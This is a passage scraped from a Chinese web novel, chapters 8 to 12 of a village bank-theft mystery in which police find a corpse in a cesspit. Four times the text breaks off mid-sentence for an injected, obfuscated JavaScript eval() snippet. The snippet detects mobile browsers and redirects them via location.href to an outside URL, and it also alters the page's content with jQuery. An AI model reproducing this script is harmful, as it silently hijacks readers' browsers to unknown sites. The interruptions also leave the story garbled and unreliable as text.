“她们自己也能出来,等到了镇上你们就不能抓我们了。” 云松道:“她们一开始被你们抢钱,被你们打,被你们关在地窖,都是事实。你们俩应该要感谢她们能出来,两个老人被关在地窖里面四十几天,你们还只能在晚上送一顿饭,如果她们两自己没有能力,没有出来的话,很有可能已经出人命了。”这也是为什么云松非要立马上来,不能等睡一觉再来。 两个老人听到了云松的话,她们其实没有想这么复杂,毕竟第二天就出来了,可云松这些话,真让她们觉得舒坦。 “可……地下有黄瓜番薯吃……” “我除了是警察,我还学过医,我比你们更清楚现在是什么情况,你们俩现在只需要感谢对方还活着。” 小两口见云松生气了,这才闭嘴。 老两口还是第一次听人说,其他人得感谢她们两口子都活着,这还真是一种新鲜的说法。 云松实在是累了,她白天去了一趟隔壁镇,整整一天都在路上,晚上胡乱吃了两口饭就来守廖家小两口,审完人以后立马就上了山。 现在,她们在等村长和村民回来,云松忍不住打了个哈欠。 她现在是又困又饿,紧接着,空气中传来了肚子响的声音。 云松的肚子开始提醒她要吃饭了。 饭的确有,但是别人的。 两个老人看了过来,她们的手里依旧是武器,丝毫没有放松。 云松:“……” “你!!”只见其中一个老人指了指云松,板着脸,说道:“你过来。” 云松以为是有新的情况,她慢慢走了过去,她倒也不害怕。 她走到了桌子旁边。 “把这个吃了。”老太太指了指旁边的锅子里的玉米渣子粥。 同林镇对人比较好的时刻,那就是请你吃点东西。 虽说此时此刻,老两口的语气不是很好,有点像是逼云松喝毒药。 于是,云松坐了下来,开启了人生新体验,被人用菜刀逼着吃早饭。 8.银行被偷案(八) 第八章 这个房子是老两口年轻时搭的,最开始只是搭了草房子,一年一年地修修补补,现在变成了土墙房。 一直都只有两口子住在这里,亲戚来了,她们也不招待,她们守着这个老房子,慢慢地变老。 亲戚那边,最开始理解她们失去了孩子,不跟她们计较,后来也觉得烦,都这么多年了,怎么就过不去了。 于是老两口就更加不爱和他们来往了。 这么多年,这是第一次这么多人来到这里面。 太阳升起来以后,阳光也洒了进来,土墙房也有了几分温暖。 这样的氛围让人慢慢地放松下来,整个房间只有云松慢慢吃早饭的声音。 她喝着粥,伴着一块块酸黄瓜。 泡制的酸黄瓜有同林镇的独特风味。 云松看着这明显就只泡了两天的酸黄瓜,清脆带点酸,味道刚刚好的酸黄瓜,看来老人们平时还是维持着正常生活状态。 廖家那两口子是真的没有犯罪天赋。 旁边的几个人就看着云松吃了一碗玉米渣子粥,两根酸黄瓜。 她吃完了,唐朝带着村长和两个村民也过来了。 村长特别着急:“你们快把刀放下,这真的就是警察,城里来的。” 老两口子这才信了,她们颇有种做错了事,不知道该怎么办的感觉。 云松三个人也没有生气,毕竟事出有因。 云松检查了两个老人的身体,有一些基础病,但整体来说还好。 她们这才有时间来询问老人当时的情况,确定了口供,云松三个人也得回镇上。 村长一直赔礼道歉,怕云松她们计较老人拿刀吓唬人的事情。 “她们年轻的时候没了两个孩子,精神有点不对劲。这一次吓到你们了。” 云松这才知道这对老夫妻身上发生的事情,难怪刚才询问事情经历过是,老夫妻一直强调廖家两口子是欺负她们死了孩子。 她问道:“孩子的尸体后面一直没有找到吗?” “大水冲走了,哪里能找到。唉。” 云松陷入了沉思,很快她们回到了同林镇。 廖家小两口便要回自己家睡觉:“我们这两天累得不得了,你们肯定不能现在就把我们送回城里,再继续走路,累死了怎么办?” “那你们回去睡觉。”云松提醒道:“不要再突发奇想,你们上一次突发奇想就只是想偷点钱,最后变成了现在这个样子。” 唐朝也在旁边补充:“要是这一次突发奇想想要逃跑,你们从小在这个镇上不知道外面凶险。” 小两口赶紧摆摆手,示意自己绝对不会逃跑。 云松道:“那你们回去睡觉吧。” 小两口很快就回去了。 “啊?咱们就把人放回去吗?”佟锦有些担心这两口子跑掉。 “先让她们回去,我觉得银行被偷的事情,她们知道的事情比招出来的多。” “今天白天我们三个人轮流补觉,留一个人看着她们。”也还是害怕人跑了。 人跑了,不是对警察不好,而是对这两口子不好。 作为警察,她们有必要避免她们在犯罪的道路上越走越远。 很快……就不需要她们三个轮流补觉了。 因为,廖家的好邻居,张老太太又来了。 老太太左瞅瞅右瞅瞅,确定没有其他人这才来问云松:“我们那个钱,什么时候给我们?” “老人家,银行不是廖家偷的。”但老人家的确提供了线索,帮助了她们,云松准备想办法给她争取一点奖励。 佟锦和唐朝本来是认可三个人轮流补觉,此时此刻,两个人看着这个精力旺盛的小老太太,她们心里头一下子就有了一个主意。 可云松还在这里。 她们两个人不好意思让云松知道,不知道为什么,她们总觉得云松是个很有原则的人,也不是说害怕,而是有一种在云松面前,不好意思做坏事的感觉,于是两个人对云松说道:“云姐,你先去睡觉,我们和老太太说说事情。” 云松倒是很信任两人,再加上的确要快点补觉,她便回去了。 云松一走,老太太看着留下来的两个警察同志,也开始了自己的推销老业务。 老太太问道:“那你们这个银行抢劫案岂不是一直破不了?” “警察同志,你看啊,你们案子破不了就不能回城,你们需要有个交差……我这里有个儿子……” 老太太没有觉得自己在坑儿子,在她看来,儿子如果能去坐牢,那里包吃包住,还能帮忙戒赌。对于自己那不知悔改的儿子来说,何尝不是一个好前途,老太太想的倒是不错。 “老太太,你这样是违法的,我现在就当没有听到,你以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629225|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后可不能再说了。” 旁边的佟锦说道:“老人家,你帮我一个忙行不,我可以给你五块钱。”对于佟锦来说不算多,但对于一个没有收入的老人来说,这非常多了。 三个人一阵耳语,老太太拿着三块钱,高高兴兴地回家了。 —————————————————— 另一头,廖家夫妻白天同样在补觉。 两口子根本睡不着,本身身体已经累到极点了,可是她们的精神依旧紧绷着,怎么都放松不下来。 人放松不下来,自然就没有办法入睡。 小两口就躺在床上,睁着眼睛看着天花板。 “你说我们俩会被关多久?” “不管关多久,大家肯定要议论我们……到时候三个孩子怎么办?” 这件事情真的不能往下想,只要一想就感觉好像有一把刀插在脑袋那里,然后整个太阳穴都开始疼了起来。 “算了,咱们出去走走吧,反正睡也是睡不着了。” 她们出门,外面就是她们隔壁老太太,对方一双眼睛死死地盯着她们。 她们下楼,老太太下楼,她们跑起来,老太太也跟着跑了起来。 “老太太,你这是要做什么?” “锻炼锻炼身体。”老太太说道。 小两口没办法,只好又回到了自己家里,这一次她们又开始扎鞋底,反正睡不着不如多扎几双鞋底。 时间一分钟一分钟的熬,她们能感觉到天上的太阳在慢悠悠地过去,从来没有意识到一天居然会如此漫长。 天黑了。 小两口一边扎鞋底,一边听外面的声音,最开始还有人走动的声音,楼下还有一些人在说话。 慢慢地,夜深了,只能听到远远地,不知道哪儿传来一声狗叫。 小两口这才起身。 她们今天晚上必须做成另一件事,这件事情只要做成了,哪怕后面自己去坐牢,孩子们也能有个活路。 小两口穿过了寂静的街道,白天热热闹闹的街,现在空无一人。 由于亢奋,她们越走越快,很快就来到了同林镇的街尾。 这边有一户李家,他们家是喂猪的,有一个大粪坑。 便是这里,小两口还记得那天,偷银行的人往里面扔了东西。 小两口来到了粪坑旁边,捂住鼻子,开始捞了起来。 9.银行被偷案(九) 第九章 云松一觉睡到了下午,她迷迷糊糊醒过来时,学校宿舍外面的操场上正好有一群孩子在上体育课。 她便是在孩子们的“一二三四”中醒来。 醒来时,她衣服几乎全被汗湿了,脖子上,额头上,全都是汗水。 阳光还在努力往屋子里钻,云松起身喝水,缓了缓,这才想起来昨天到今天发生的事情。 这是什么点了?怎么太阳都要下山了? 云松转头一看,旁边床上佟锦呼呼大睡,同样也是热得满头汗水。 对面是两床竖拼成了一张床,唐朝也在睡觉。 两人怎么没有叫她起来换班? 云松倒也没有叫二人起来,反正此刻她已经醒了。她忙出去看看情况。 她一到廖家楼下,张老太太立马就过来了,小声说道:“警察同志,放心吧,我今天一天都看着,他们中间出去了一趟,我跟了过去,把她们吆回来了。” 云松道了声谢,心里头明白,应该是佟锦和唐朝想的办法。 “跟我客气什么,再说了,我也是拿了钱的,下一次要是有这种事情,可一定要叫我,别看我年纪大,你们当官的,肯定知道,我们这种年纪大才好办事。”老太太心里头高兴,五块钱,她这个年纪,可不好挣了。 于是唐朝和佟锦赶来时,看到云松和老太太说话,心里也慌了一下。 不知道为什么,云松其实只比她们大几岁,可云松身上总有种说不来的威严感,哪怕她本人非常温和,几乎从来不发脾气。 于是两个人都有种偷懒被抓包的尴尬。 两个人走了过来,佟锦自动解释道:“我们当时太困了,怕自己中间睡着了。” “给了多少钱?”云松问道。 “五块钱。” 云松道:“下一次——” “不敢了!” “给六块钱吧。” 两个人同时说道。 “啊?”佟锦和唐朝都有些惊讶。 “我们三个人,好分账。” 佟锦立马摆手:“你不生气就好,这个钱我出就行。” “怎么会生气,灵活办案,协同乡民,多好的事情。”这一次就来了三个人办案,这个镇和隔壁镇都没有警察,走访的时候,一天就得走几十公里的山路,现在这个工作量大到哪怕是云松这种曾经吃过大苦的人都觉得身体受不住。 灵活一点,保命。 云松这一次还是出了两块钱。 白天休息饱了就是好事,因为她们晚上需要自己守这对夫妻了。 从老太太家里回来的时候,云松明确告诉过两人,明天就会带她们回城里,而她们在为银行被偷案提供线索时,躲闪的眼神,止不住的小动作,都说明她们有事情没说完。 明天就要走了,她们今天肯定会有所行动。 云松猜测的是她们很有可能看清楚了偷银行的人是谁,今天晚上很有可能会去找人家。 白天明明都热得睡觉全身都是汗水,晚上八点多的时候,三个人都穿着白天的短袖,结果一阵又一阵的冷风吹了过来。 “是不是要下雨了?” 云松看了看天空,黑压压的,和平时的夜空不一样,她道:“看这个样子,估计是大雨。” “你们回去加件外套。” “行,我们马上就来。” 结果两个人一走,这边的小夫妻就从屋子里出来了。 云松不近不远地跟着,并没有被对方发现。 她们穿过了老街,走过了粮店,晒谷场,最后在路边停了一下,似乎扯了什么东西,但很快就继续往前走。 云松走到对方刚才停下的地方,这里有一大丛艾草,最边上的艾草被人用手刷掉了叶子。 云松也扯了一些艾草,继续跟上去,前面的两个人在同林街最边缘的地方停了下来。 这一次停下来就没有走了,天上黑压压的乌云,再加上夜晚的缘故,看不清他们具体在做什么,只能看到两个模糊的影子。 此时,小两口站在大粪坑前,用刚才搓过艾草的手捂住了鼻子。 艾草强烈又刺鼻的气味一下子掩盖了粪臭味。 “有用。”男人说道。 女人说道:“那我们快捞,一会儿下雨了就麻烦了——” 这里的粪坑本来是李家养猪,用来堆猪粪,平常也不会加盖子,任由各种雨水流进去,所以里面水更多。 他们俩就用了一个长的木棍在里面戳。 这一次比前面几次都有耐心,因为现在他们确实无路可走了,必须要掏点钱出来。 好几次长木棍都在水坑底下接触到什么东西了,有一次甚至是挂住了,但是往上拉的时候拉不上来。 “这下面肯定有东西。” 两口子再一次对自己洗脑,她们前方没有路了,迫不及待想要有点东西来填补自己的恐惧。 “肯定是在银行偷的钱,用塑料袋装起来放在最下面。” “他们偷了银行的钱以后肯定不能拿回家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633815|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,拿回家家里人肯定就会知道,要是出去用知道的人就更多了。”男人说道。 “放在粪坑里面,上面绑个石头,把它压在最底下,绝对不会有人发现。”女人也说道。 两口子站在上面,心里头实在是惦念着这下面的钱,明天她们就要被警察送回城里面了,后面就要被关起来了,也不知道什么时候能出来。 如果今天不能把钱掏出来,那也不能告诉家里人。 家里就老人和小孩了,要是她们来捞,掉进去了可怎么办? 于是,两口子狠了狠心,决定下去捞。 “等一下,先把鼻子堵起来!”女人去找了艾草,堵住了男人的鼻子。 男人咬了咬牙,这才滑了下去。 同林镇的人,大多数都会游泳,男人也不例外,可这种情况却是第一次。 很快,男人摸到了东西,是布的,他赶紧抓住了,往上拉。 拉不住。 他在这下面不可能睁开眼,只知道是用布包着的东西。 “拉不动!” “拉不动也得拉,肯定是钱上被绑了大石头!你能不能看一下把石头解开?” “我在这个下面怎么睁开眼睛,你真当这下面是水啊?”他在下面坚持不了太久。 女人也意识到了,说道:“那你一只手给我,一只手去拉钱!” 男人再一次下水,使劲,这都是钱!都是钱!这一次他爆发出了前所未有的力气,这一次动了起来。 另一边,云松发现小两口中有一个好像……被推到了粪坑里? 她便赶紧上前去找两个人。 她上前才发现并不是被推到粪坑里了,因为女人还在死命拉着男人的手,眼看她也要被拖进去了。 云松只能赶紧帮忙把女人往后拉。 很快,男人出水了,他拖着的东西,也跟着出水了。 微弱的月光下,酝酿半天的雷阵雨终于倾泻而下。 而在场的三个人都看清楚了那是什么。 那是一具尸体,男人拉住的位置是尸体的裤腰带。 男人条件反射就要放手,云松赶紧拉住,把尸体拉到了旁边的地上。 大雨中,小两口已经被吓傻了,坐在了地上,直愣愣地看着这一切。 很快,两人回过神来,大雨中,两人的右侧是警察和尸体,两人的左侧,细长的柳树孑立,在她们的后背,同林镇人都还在睡觉,她们本来也应该在睡觉才对。 两口子看着一切,崩溃大哭。 10.银行被偷案(十) 第十章 尸体被泡发了一些,但通过他身上的衣服,还有体型身高,云松能辨认出这是谁。 这个人是之前她查的两个失踪工人中的一个。 男人的名字叫田贵,隔壁雨兰镇人,今年四十岁,十几年前曾经娶过一个同镇上的女人,他年轻时脾气不好,喝了酒就喜欢打老婆,他老婆受不了,于是离婚了,他在雨兰镇口碑自然就不好。 后来被亲戚介绍到同林镇这边来干活。 他在这边的砖厂干活,砖厂建在同林镇南边的一座山下,平常就是炸山,取石,做砖。 炸山之后一般会有铜线,他经常偷铜线卖钱,有钱了以后就请工友们喝酒,所以他在同林镇的风评还不错。 云松过去是医学生,现在也没有法医,便自己检查了一下尸体,尸体后脑勺位置有一处击打伤。 具体死因还需要更加详细的尸检。 旁边的两个人哭声也弱了下来。想来积攒在心里的情绪已经发泄的差不多了。 她便上前,安慰道:“事情还没有到彻底绝望的地步,至少我能确定你们俩不是凶手。” 大半夜跑出来捞尸体,很容易引起误会。 两个人停了下来,转过头,看向云松。 “乐观一点,你们前面虽说做错了事情,但你们没有把自己走到绝境。”人还活着,这里有赎罪的可能。 对啊!她们之前虽然做错了事情,可她们没杀人啊! 两口子迫不及待的想要证明自己依旧处于人类的行列。 “我们不敢杀人,想到杀人,手都发软。” 而这一刻,他们不再去诉说自己之前在不断的干活的辛苦过程。 而是开始讲起了另外一件事情。 “我们那个时候每天晚上只睡三四个小时,白天要做鞋子,晚上要去山里干农活,但我们都没有想过要杀人。” 她们说话的时候,天空依旧下着大雨。 在场的四个人都没介意这场雨。 小两口身上全是臭味,大雨落下来,也算是洗刷。对于他们来说反而是好事。 云松淋着雨,心里同时在琢磨这个尸体应该放在哪儿。 而地上躺着的尸体,对于这一场雨,自然也没有意见。 但李家人,也就是这个大粪坑后面的那家人,他们就不一样了。 因为大风大雨,李家人从睡梦中醒来,立马就想到了粪坑! 粪坑平时没有遮盖,小雨的话添一点雨水进去无所谓,但是大雨就麻烦了。 雨水进入太多,会把里面的粪冲出来,到时候,这么好的粪肥就流失了,他们也是庄稼人心态,一点点浪费都会心疼。 于是,李家男人赶紧爬了起来,拿了手电筒,又在屋檐下拿了一张塑料膜。 他戴好斗笠,拖着塑料膜,往猪圈这边走,大雨中,隐隐约约看到了有人影,有两个坐着,一个躺着,还有一个站着。 怎么回事?怎么有人在他们的粪坑旁边? 稍微走近一步。 哟呵!偷粪贼! “你们!你们四个!偷粪偷到我家头上来了!” 小两口正被云松哄了一下,此时此刻,看着怒气冲天跑过来的李家人。 大家都是一个街上的人,还能不知道八卦的程度。 天啊,李家人知道了,明天肯定要传得全镇人都知道,到时候所有人都要笑话她们。 她们脑海里已经有了具体的声音了。 “真是笑死个人了,这两口子怎么那么蠢呢,以为粪坑里面有钱,结果去捞出了尸体,两个人在那一直大哭。” “我过去的时候他们俩正在那儿大哭呢。” 到时候肯定是一大群人围在一起笑话她们两口子。 小两口脑海里已经出现了那个场景,又开始哭了起来。 他们两口子甚至想不出来偷粪更丢脸,还是想要捞钱,结果捞到了尸体更丢脸。 于是在场的被当作偷粪贼的四个人,只有云松能出来跟人交涉一下。 “你好,你好,咱们前两天见过,我是来镇上调查偷银行案件的警察云松。” 同林镇的人,个个在人情世故上都是一把好手,她这话一出,对方立马就变了脸,笑呵呵地说道:“这雨下得大,我没看清楚,误会了误会了,是警察同志啊!” 人家警察在这里没地,偷粪干嘛?那肯定是误会了。 “这么大的雨……”李家人说话的时候,眼神就瞟了瞟旁边的三个人,诶,真是奇了怪了,这不是廖家小两口吗? 同林镇的人对廖家小两口印象不是很好,她们家是扎鞋底,做鞋子的,上一辈做得非常好,一双鞋能穿很久。自从家里的老人眼睛瞎了,这小两口接过生意,结果涨价不说,鞋子做得也不好,还经常说,她们扎鞋底的时候把手扎了,要么就说老太太眼睛也瞎了,还在一直扎鞋底。 一去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639945|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二来,大家就不喜欢买她们家的鞋子了。 现在这两口子怎么在他们粪坑旁边坐着?诶?怎么还在哭?怎么哭成这样?因为下雨,隔远了还真没发现这两人在哭。 等等?那边怎么还有一个人躺着? 李家男人也是刚醒过来,脑袋也没完全运转过来。 云松见他要去看那具尸体,便解释道:“她们两个人之前看到过这里有情况,怀疑里面有尸体,所以带我过来捞,现在捞上来了一具尸体。” 李家男人吓了一个激灵,嘴都磕巴了:“不……不是……怎么会有尸体?” 廖家小两口也听到了云松的话,在旁边松了一口气。 他们两口子也赶紧说道:“我们是来帮忙的!” 李家男人没注意这两口子,他看着尸体,又瞅了瞅自己的粪坑,再看看不远处的河,他有些生气,说道:“旁边就有一条大河,他不跳,他来跳我的粪坑。”他还以为是自杀。 “具体情况还要调查,你们这边有没有地方可以让我放一下尸体?” 她们现在住在学校,这个尸体肯定不能搬回学校去。 同林镇也没有尸检条件。 李家男人立马摇头:“那不行!我这边就只有一个猪圈,肯定不可能放在猪圈里面。” 云松看到了他手里的塑料膜,说道:“这个能给我吗?” “这个可以!” 于是云松拿着塑料膜,回到了尸体旁边。 李家男人很想上前去看看那具尸体,可是现在下着大雨,天又黑,他心里有种毛毛的感觉,便就站在了这边。 他没想到的是廖家小两口居然很自觉地过去了。 两口子一个帮忙铺塑料膜,另一个帮忙抬尸体,既勤快又胆大。 啊? 他最后看着尸体,怀着一种这么大的事情,一定要分享给全家人的心态,赶紧回去把全家都叫了起来。 云松本来看着他回去了,心里还高兴,因为少一个人少点麻烦。 结果10分钟后,一大家子人全来了。 “警察同志,这人是谁呀?” “他怎么死在粪坑了?” “是他偷了银行的钱吗?” “他偷的钱还在粪坑里面吗?” 正在包尸体的云松:“……” 这么大的雨,这个热闹是非凑不可吗? 这就是在城里命案现场必须拉警戒带的原因了。 11.银行被偷案(十一) 这家人甚至还有点想上山看看到底是谁,没弄清楚这个事情,好奇心像猫抓一样。 同林镇穷,通常一大家子全部挨着住,相互有个照应,这一来,李家的成年人,老人全部都来了。 大概是没有人能够在睡醒的时候拒绝一句—— “咱们猪圈粪坑那边发现了一具尸体!” 这谁能不去看看怎么回事? 云松处理好了尸体,她抬起头,不远处是看热闹的李家人,这堆人后面,有个女人拿了根棍子,跟吆鸭子一样,把要过来看热闹的孩子们吆回去。 云松:“……” 而廖家小两口还可怜巴巴地在旁边站着。 “你们俩先回去洗漱睡觉,看你们两个人的这个状态,估计好几天都没睡好觉了,现在又淋了雨,回去好好休息一下。” 廖家小两口这才感觉到自己身上的疲惫。 “回去的时候你们要是遇到了我的两个同事,让她们过来。” “要得!要得!”两个人连连点头。 小两口走的时候,云松再一次叮嘱:“这一次洗漱,睡觉,不要再突发奇想了。” 小两口连连摆手,表示再也不敢了。 肯定敢了,一个多月前,她们本来过着虽说欠钱,但也还算过得下去的日子,就因为突发奇想,想要搞点钱,结果钱没捞到多少,干了四十几天的苦力活,还要去坐牢。 昨天晚上,突发奇想来捞点钱,结果捞了一具尸体上来,淋了一场大雨,还要被人误会是偷粪贼。 两口子现在是真怕下一次再想做点什么会死掉。 她们一路往回跑……跑着跑着,又闻到了自己身上的臭味。 “好臭啊,家里没那么多水……”男人说道。 女人道:“要不然去河里洗一下吧。” 刚说出口,自己都心慌了一下。 这是不是也算做突发奇想? 小两口突然觉得要是真的去了,会不会直接就把两个人给淹死了? 两个人一哆嗦,赶紧往家的方向继续跑。 唐朝和佟锦回去拿个衣服,她们刚到学校就下起了小雨,便又拿了个伞。 结果一过来,楼下空空。 云松呢?云松呢? 两个人找了一圈,没有找到人。 没有云松,廖家的小两口也不见了。 两个人心里有些慌,别是出什么事情了。 好在,等她们往街尾走时,迎面撞上了两个落汤鸡。 这才知道云松那边的情况,有了她们两个人的加盟,可算是把李家人吆回去了。 最后,三个人坐在猪圈下来躲雨,看着外面的尸体。 “根据廖家两口子的说法,应该是两个人一起去偷了银行,拿走了五万元。”唐朝说道。 “那他同伙有重大嫌疑。”佟锦说道。 三个警察在猪圈的屋檐下分析案子,里面是被吵醒了,不断哼唧哼唧抗议的猪,耳边是无数的蚊子,前面是被塑料膜包住的尸体。 这个条件是差了一点。是有点赶不上城里的会议室条件了。 云松说道:“另一个工人是三里村人,名叫王家旺,五十五岁,他们村子里的人和他并不熟,所以他从厂里失踪,也没有回老家,大家似乎并不在意。” 云松去三里村问过这个人,只知道他年轻的时候就父母双亡了,其他的,大家都没有说。 具体情况还要去三里村看看。 —————————— 第二天一大早,同林镇都知道了这件事。 同林镇这种群体对于死亡最敏感,只要听到有人死了,那一定要弄清楚到底怎么死的。 李家有个儿子读初二,昨天晚上他在家里,也跟着听了几耳朵。 于是第二天,他带着第一手消息来到了学校。 小梅本来还在高兴今天要放假了,可以回家了,结果第一节课下课,大家全都围在一起,开始说警察在李家的猪圈外发现了尸体的事情。 小梅哪里能错过这种事情! “警察她们怎么知道哪儿有尸体的?” “她们晚上去捞尸体,不害怕吗?” “她们是警察,肯定不怕。” “我听说我妈说,她们先把那个尸体给包了起来,你们知道为什么吗?”李家的孩子神神秘秘的。 小梅和其他初一的同学全都非常好奇,凑过去听。 “因为,如果不包起来,那个尸体会跑出来,在人的背后喊名字,等到人一回头,就把人拖进粪坑里!” 小梅听得聚精会神,这时,小梅耳边突然出现了一个悠悠的声音—— “梅~悦~” 小梅被吓得一个激灵,心都快跳出来了,魂儿都快吓没了。 “嘿嘿,吓到你了!”原来是她同学恶作剧。 “不要吓我啊!!!”小梅转过头,追着人打! 这个尸体的事情就这样传得全镇上的人都知道了,每个圈子有每个圈子的再解读再创作。 小梅这一天上课都心不在焉,总想去看外面看警察有没有回来,想去问问她们是怎么回事。 可今天警察一直没有出现。 小梅下午放学要路过李家,她朝着那边看了看,传说中警察捞尸体的那个大粪坑。 她以前每次路过的时候都要捂住鼻子,因为真的太臭了。 现在那个大粪坑已经不见了,只剩下结结实实的土,李家人觉得里面死过人,不吉利,也不在乎那点粪肥了,他们把大粪坑埋起来了。 此时此刻,小梅莫名地觉得后背发凉。 在学校里面,全都是同学热热闹闹的,大家说起来虽说有点害怕,可更多的还是刺激。 可现在,小梅是一个人! 偏生她也是个好奇心旺盛的孩子,明明就害怕,可还是控制不住自己往大粪坑那个方向看。心里头都是想象出来的那个尸体的样子。 这是她人生中第一次接触死亡,她心里一种庞大的可怕的感觉。 三里村这条路,上午人多一些,下午这个点几乎没有人了,空荡荡的路,黑压压的森林,小梅快步跑了起来。 她跑着跑着,旁边站立的树似乎也会动,森林上空开始吹来一阵又一阵的风,那风好像就在森林里寻觅着什么。 小梅的心更加慌了,她跑得更快了,很快穿过了森林,到了上面的山坡,小梅松了一口气。 没有了树林的遮挡,她的头顶是天空,是太阳,她松了一口气,而这个时候,她看到了坐在山坡大石头的人! “二爷爷!二爷爷!” 小梅飞快地跑了上去,再也没有比害怕的时候遇到了自己熟悉的亲人更开心的事情了。 虽然几天前,她心里头对二爷爷心存怨恨。 而现在完全没有了。 那天本来就是她的错嘛,还好二爷爷抓住了她,要不然她那天那么早就去镇上,说不定还会碰到杀人的事情。 那可不行!小梅现在对于死亡并没有特别清晰的认知,只是本能的恐惧。 二爷爷看到了她,现在对她也和蔼了起来。 两个人一边往回走,小梅就听到二爷问:“警察现在是住你们学校啊?” “我听人说,她们搬了尸体。” 小梅说起这件事是害怕又兴奋。 二爷爷说道:“你一个小孩子,别去看哪些。” 小梅哦了一声。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645585|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她走在前面,想了想,小声说道:“二爷爷,上一次的事情,是我不对。” 小梅短短几天,觉得自己现在长大了,跟过去不一样了。 二爷爷就跟在后面看着这个小丫头。 其实……他今天到镇上就是为了去问一下这个案子的事情,因为他听说从那里挖出来了一具尸体。 其实……他非常确定那一天没有任何人见过他。 除了……梅悦。 梅悦的爸妈也一直以为那天梅悦走的是大路,毕竟,谁也不会觉得一个13岁的小姑娘要偷偷去镇上会走小路,那条小路几乎全是坟。 平常大人都不怎么走小路。 他们现在走的便是大路,梅悦走在前面叽叽喳喳的说着话。 这个孩子和他自己的孙女儿差不多大,梅悦爸身体不好,从小就多病多灾,好不容易长大,也还是病殃殃的,后面娶了梅悦她妈,两个人成亲五年才一个孩子。 她们家只有这一个孩子。 二爷爷走在后面,他们很快就走完了上坡的梯子路,来到了山洞里。 山洞这边可以歇一下凉。 梅悦去旁边的水井里面打水喝。 二爷爷走到山洞边,从这里望下去,一览无余,没有一个人。 山洞旁边的路便是悬崖边缘。 有一年从这上面摔下去了一个半大的孩子。 真可怜。 “二爷爷!快走吧!” 二爷爷回过神,道:“你先走吧。” 梅悦欢欢喜喜地诶了一声,就跑在了前面。她其实就是想走前面,后面还有二爷爷,就没有那么害怕了。 二爷爷在后面看着,看着她走在悬崖边上。 半个小时后。 梅悦的妈妈看到了二爷爷,梅悦妈妈见他是从大路那边过来,又想着今天到星期天了,读初中的梅悦应该要回来了。 “二爷爷,你回来的时候有没有看到我们家梅悦?” 二爷爷说道:“看到了,她后面走太快了,我没赶不上。” 梅妈妈心里总觉得不安定,可能是今天听到了镇上杀人的事情。 诶。 村子里虽然穷了点,但是安全家家户户相互认识。 镇上,唉。 尤其是她今天去不了镇上,其实今天想要去镇上接一下梅悦。 可昨天下了大雨,她们还有一些谷子没收完,如果今天不收回来肯定会烂掉。 她心里头想着,晚上一定要多嘱咐一下梅悦,以后就在学校里不要出去。 尤其是晚上,千万不要去学那些镇上不懂事的孩子,大晚上偷偷跑出学校。 她背着背篓回家。 家里还没有人。 她心里莫名地发慌,好在这个时候,她听到屋后有动静。 她转到后面,屋后的黄瓜地里,梅悦和一个警察说话。 她家梅悦刚摘了一个半大不大的黄瓜。 “这个黄瓜好吃!我妈今年买的新品种!” 那警察是之前在办公室帮忙说话的那个年轻女人。 原来梅悦走在悬崖上,就看到上面的路上走着一个她日思夜想的人——警察云松。 她脑海里那些关于尸体啊,锁魂啊的恐怖阴影全部消失了。 她本来跟二爷爷说,一起去追警察,警察就在前面,二爷爷不肯,她自己就追去了。 于是,她和警察一起回来了。 一回来,就拖着人来菜地里摘菜。 梅悦还是小孩子心思,恨不得把自己所有好的东西都给自己喜欢的人! 刚爬了两个多小时的山,口干舌燥,还有什么比刚摘下来的黄瓜更好吃的吗? 12.银行被偷案(十二) 第十二章 云松要找的犯罪嫌疑人是三里村二组的人,三里村一共有六个组,因为处于群山中,导致每个组都有自己的聚集地,相互之间了解不深,但组内就不一样了,彼此非常了解,谁家杀了只鸡,吃了块肉都能知道。 山里和城里镇上不一样,山里村子里的人,世世代代都在这里,家家户户都沾亲带故,云松一个外人来问这里的人,大家因为她是警察,不会得罪她,可也不会说一些对自己人不利的事情。 云松上一次来遇到的就是这种情况。 “你们最后一次见到王家旺是什么时候?” “这平时忙得很,大家也没有注意什么时候是最后一次见到人。”田里的村民说道。 